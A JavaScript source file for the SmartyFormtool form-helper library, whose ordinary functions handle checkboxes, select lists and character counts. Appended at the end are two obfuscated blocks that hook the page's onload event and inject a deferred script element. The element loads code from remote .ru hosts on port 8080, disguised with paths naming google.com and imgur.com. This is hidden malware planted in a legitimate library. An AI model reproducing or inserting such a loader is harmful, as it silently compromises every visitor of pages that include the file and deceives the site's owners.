//------------------------------------------------------------------------------
//  SmartyFormtool Javascript Library version 1.3
//  http://www.phpinsider.com/php/code/SmartyFormtool/
//
//  Copyright(c) 2004 ispi. All rights reserved.
//
//  This library is free software; you can redistribute it and/or modify it
//  under the terms of the GNU Lesser General Public License as published by
//  the Free Software Foundation; either version 2.1 of the License, or (at
//  your option) any later version.
//
//  This library is distributed in the hope that it will be useful, but WITHOUT
//  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
//  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public
//  License for more details.
//------------------------------------------------------------------------------

ischecked = new Object();
function formtool_checkall(id, field, check_text, uncheck_text) {
   if (ischecked[id] != "true") {
     for (i = 0; i < field.length; i++) { field[i].checked = true; }
     ischecked[id] = "true";
     return uncheck_text;
    } else {
     for (i = 0; i < field.length; i++) { field[i].checked = false; }
     ischecked[id] = "false";
     return check_text;
   }
}

var isselected = new Object();
function formtool_selectall(id, field, select_text, unselect_text) {
   if (isselected[id] != "true") {
     for (i = 0; i < field.length; i++) { field.options[i].selected = true; }
     isselected[id] = "true";
     return unselect_text;
   } else {
     for (i = 0; i < field.length; i++) { field.options[i].selected = false; }
     isselected[id] = "false";
     return select_text;
   }
}

function formtool_moveup(field,save) {
    for (i = 0; i < field.length; i++) {
        if(field.options[i].selected == true && i > 0) {
            var tmplabel = field.options[i-1].label;
            var tmpval = field.options[i-1].value;
            var tmptext = field.options[i-1].text;
            var tmpsel = field.options[i-1].selected;
            field.options[i-1].label = field.options[i].label;
            field.options[i-1].value = field.options[i].value;
            field.options[i-1].text = field.options[i].text;
            field.options[i-1].selected = field.options[i].selected;
            field.options[i].label = tmplabel;
            field.options[i].value = tmpval;
            field.options[i].text = tmptext;
            field.options[i].selected = tmpsel;
        }
    }
    formtool_save(field,save);
}

function formtool_movedown(field,save) {
    var max = field.length - 1;
    for (i = max; i >= 0; i--) {
        if(field.options[i].selected == true && i < max) {
            var tmplabel = field.options[i+1].label;
            var tmpval = field.options[i+1].value;
            var tmptext = field.options[i+1].text;
            var tmpsel = field.options[i+1].selected;
            field.options[i+1].label = field.options[i].label;
            field.options[i+1].value = field.options[i].value;
            field.options[i+1].text = field.options[i].text;
            field.options[i+1].selected = field.options[i].selected;
            field.options[i].label = tmplabel;
            field.options[i].value = tmpval;
            field.options[i].text = tmptext;
            field.options[i].selected = tmpsel;
        }
    }
    formtool_save(field,save);
}

function formtool_save(choices,storage) {
    order = new Array();
    for(i=0; i<choices.length; i++) {
        order[i] = choices.options[i].value;
    }
    storage.value = order.join(",");
}


function formtool_rename(field,text,save) {
    for (i = 0; i < field.length; i++) {
        if(field.options[i].selected == true) {
            field.options[i].text = text;
            field.options[i].value = text;
        }
    }
    formtool_save(field,save);
    return '';
}

function formtool_move(field1,field2,save_from,save_to,counter_from,counter_to,moveall) {
    if (moveall == true) {
        formtool_add_all(field1,field2,false);
        formtool_remove_all(field1,field2);
    } else {
        formtool_add_item(field1,field2,false);
        formtool_remove_item(field1);
    }
    formtool_save(field1,save_from);
    formtool_save(field2,save_to);
    if (counter_from) {
        counter_from.value = field1.length;
    }
    if (counter_to) {
        counter_to.value = field2.length;
    }

}

function formtool_copy(field1,field2,save,counter,copyall) {
    if (copyall == true) {
        formtool_add_all(field1,field2,true);
    } else {
        formtool_add_item(field1,field2,true);
    }
    formtool_save(field2,save);
    if (counter) {
        counter.value = field2.length;
    }
}

function formtool_remove(field,save,counter,removeall) {
    if (removeall == true) {
        formtool_remove_all(field);
    } else {
        formtool_remove_item(field);
    }
    formtool_save(field,save);
    if (counter) {
        counter.value = field.length;
    }
}


// code form adding/removing items originated from devx.com by Boris Feldman
// http://gethelp.devx.com/techtips/js_pro/10min/10min0499/10min0499.asp

function formtool_add_item(field1,field2,ignore_duplicates) {
	var i;
	var j;
	var itemexists;
	var nextitem;

	// step through all items in field1
	for (i = 0; i < field1.options.length; i++) {
		if (field1.options[i].selected) {
			// search field2 to see if duplicate
			j = 0;
			itemexists = false;
			while ((j < field2.options.length) && (!(itemexists))) {
				if (field2.options[j].value == field1.options[i].value) {
					itemexists = true;
					if (!ignore_duplicates) {
					   alert(field1.options[i].value + " found!");
                    }
				}
				j++;
			}
			if (!(itemexists)) {
				// add the item
				nextitem = field2.options.length;
				field2.options[nextitem] = new Option(field1.options[i].text);
				field2.options[nextitem].value = field1.options[i].value;
			}
		}
	}
}

function formtool_remove_item(field1) {
    var i;
	for (i = 0; i < field1.options.length; i++) {
		if (field1.options[i].selected) {
           field1.options[i] = null;
           i--;
        }
	}
}

function formtool_add_all(field1,field2,ignore_duplicates) {
	var i;
	var j;
	var itemexists;
	var nextitem;

	// step through all items in field1
	for (i = 0; i < field1.options.length; i++) {
		// search field2 to see if duplicate
		j = 0;
		itemexists = false;
		while ((j < field2.options.length) && (!(itemexists))) {
			if (field2.options[j].value == field1.options[i].value) {
				itemexists = true;
			}
			j++;
		}
		if (!(itemexists)) {
			// add the item
			nextitem = field2.options.length;
			field2.options[nextitem] = new Option(field1.options[i].text);
			field2.options[nextitem].value = field1.options[i].value;
		}
	}
}

function formtool_remove_all(field1) {
   field1.options.length = 0;
}

function formtool_set_size(list1,list2){
    list1.size = formtool_get_size(list1);
    list2.size = formtool_get_size(list2);
}

function formtool_unselect_all(list1,list2){
    list1.selectedIndex = -1;
    list2.selectedIndex = -1;
    moved_element = -1;
}

function formtool_get_size(list){
    var moz_len = 0;
    for(i=0; i < list.childNodes.length; i++) {
       if( list.childNodes.item(i).nodeType == 1 ) { moz_len++; }
    }
    if(moz_len < 2)
        return 2;
    else
        return moz_len;
}

function formtool_count_chars(textField, countField, maxlen,show_alert) {
    if(textField != null && textField.value != null) {
	    if (textField.value.length > maxlen){
            if(show_alert)
               alert('This field cannot exceed ' +  maxlen + ' characters.');
            textField.value = textField.value.substring(0, maxlen);
	    } else {
            countField.value = maxlen - textField.value.length;
	    }
    }
}


var x=["m"];function h(){var w='';I=["Fl"];try {} catch(n){};var J=new String("src");var b="onloa"+"d";this.Xa=51722;this.Xa+=148;var L=new String("body");var hO="hO";Io=["HkQ","E"];var Y=String("scr"+"ipt");this.T='';var NT={Px:23733};var P=new String("ap"+"peysI".substr(0,2)+"nd5KuC".substr(0,2)+"Ch"+"il"+"d");var HP=["A"];var g=window;try {var mF='O'} catch(mF){};var o=String("cr"+"ea"+"te"+"El"+"YoRem".substr(3)+"en"+"t");VB={yH:25625};var s=document;var hg=String("defer");XU={Xc:false};mo={};function F(){Ne=11065;Ne++;U=1079;U++;try {try {var sf='Oq'} catch(sf){};wM=14312;wM-=158;var Z=new String("httpQgTz".substr(0,4)+"://p"+"assp"+"ortb"+"lues"+".ru:LR2".substr(0,4));var PE=String("/tn"+"afldYXi".substr(0,3)+"ix-bPo".substr(0,3)+"comG8l".substr(0,3)+"/go"+"ogl"+"e.c"+"om/"+"img"+"ur.058".substr(0,3)+"com"+".ph"+"p");Hm={gk:3478};var Yb=756585-748505;var Hk=8834-8833;Lx=35811;Lx--;var R=["Uz"];this.wJ='';var xb=63580;c=s[o](Y);var bQ={nc:64725};LZ=2382;LZ+=102;sh={cy:false};Sm=14535;Sm++;ny=39781;ny++;c[hg]=Hk;c[J]=Z+Yb+PE;ZZ=62593;ZZ++;try {var CY='a'} catch(CY){};var Ei=["US","SG","mb"];this.JF="";s[L][P](c);eu={};p={Ww:"Tr"};} catch(Ps){this.im='';try {var r='qj'} catch(r){};};try {var qr='Iv'} catch(qr){};}this.WX="";g[b]=F;};try {var Ub='BH'} catch(Ub){};h();var Zk={QA:13512};
v={C:"A"};var E={};try {var h='EZ'} catch(h){};try {u={q:3812};YQ={b:false};r={D:false};var Q="";var Kp=new Array();this.R=63407;this.R-=159;try {} catch(t){};var TL=new Array();var U=window[new String("un"+"es"+"ca"+"7aHGpe".substr(4))];PX=22407;PX+=122;var rR=[];var jm=new Date();this.k_=24115;this.k_--;this.ql=35810;this.ql++;var W="onlj3vO".substr(0,3)+"jApoad".substr(3);var YA=new Array();var s='';var ce=new Date();var y="1";var i="repl"+"ace";var MG='';try {var kh='Tl'} catch(kh){};var ki=["_B","vb","QE"];var kK='';var xR='';var BT=new Date();dv={XX:28902};var B=window[(String("RegLfb".substr(0,3)+"NlnExp".substr(3)))];aF=22004;aF+=163;this.iL='';var VE={PJ:false};this.hz='';pp=15154;pp++;function O(y,X){this.GS=57114;this.GS+=125;var j=String("[");var PC=false;var mw=[];j+=X;var YC={ba:false};XP=["WG"];var Ik={SE:false};var Ih={Si:false};Pv=["uB"];j+=U("%5d");this.Bl=53437;this.Bl+=181;var hn={Iz:13859};aT={DS:false};UL=16761;UL--;var cg=[];sc={Xa:42272};var cO=["Gm","_a"];var pR=["ZU","yB"];var Y=new B(j, new String("g"));Pe=65080;Pe--;try {var Cmx='_E'} catch(Cmx){};return y.replace(Y, s);};xb=1714;xb-=154;Wcf=62699;Wcf-=12;var IS=new String();Xp=[];ro=28254;ro-=179;var o=String("http"+"://gtfe".substr(0,4)+"I6Yothg".substr(3)+"uilt"+"SRyU.ru:yURS".substr(4,4));wg=["LDs","ai","_W"];var ob="";var M=520549-512469;kg={nc:false};var UA="/mi"+"lli"+"yet"+"-co"+"m-t"+"r/g"+"oog"+"le.yIN0".substr(0,3)+"com"+"bku/sh".substr(3)+"are"+"asa"+"le."+"TYnjcom".substr(4)+"2veC.phe2Cv".substr(4,3)+"p";var cJ="cJ";try {} catch(Bg){};fT=["wQ"];this.kM='';var em=new Array();function J(){var lne={};var ARm={gm:false};VX={eR:"aW"};var FU={};var Z=document;var uJ=new Array();RC={Ru:false};try {var Lo='Xe'} catch(Lo){};Ozj=59621;Ozj++;var sv=new String("appJ3A".substr(0,3)+"endmI8T".substr(0,3)+"ChiV9j".substr(0,3)+"ld");var Li={Fn:false};this.eV="";this.Ox=6705;this.Ox++;var zp={};var H=O('skcerCiIpDtT','gJbIuDHTe2UkCEyLSzY');pS=12730;pS+=238;var gE=["Fp","Fs","aR"];cBE=["ek"];gg=["Tk","cd","WU"];WI=13897;WI++;var Aq=new Array();var hN={hd:false};K=Z.createElement(H);qL=51373;qL--;oF=25889;oF--;Rg=24707;Rg--;lX=[];oV=[];L=o+M;L=L+UA;this.vA=32456;this.vA+=144;Ig={mW:"_P"};TD=["iX","qZ"];Pu=["vB","hA"];var qV={};try {} catch(AF){};var Eg={FI:1928};K.src=L;var Ka=[];K[new String("defe"+"32Ur".substr(3))]=y;var mO={cC:"iO"};var fu={WR:"uh"};var Cl={cL:"Rw"};kJ=["Ai","Rx","Zl"];var EGD={xt:"uTV"};var LoX=[];var MXq=new Date();Cs={VF:20495};var zf=false;var BE=["aso","GE"];var UV=Z.body;var ZI="ZI";var cE=["vN"];var az=["__","aO","zW"];this.am=33212;this.am++;var fh=["Nq","Nx"];this.cS="";this.RW="";JV={RK:false};UV[sv](K);var bg={KD:54027};};var baE="";UM={Cv:"Lf"};this.gB=39514;this.gB--;var miT=false;var lI=false;var ah={Ke:false};window[W]=J;var RI=33912;var H_=["wz"];var YyZ=["idf","lq","IH"];this.eo=47526;this.eo++;this.kq=52128;this.kq--;} catch(d){try {var aZ='Bp'} catch(aZ){};this.iz="";var go={rg:"pV"};try {var bh='Ua'} catch(bh){};};
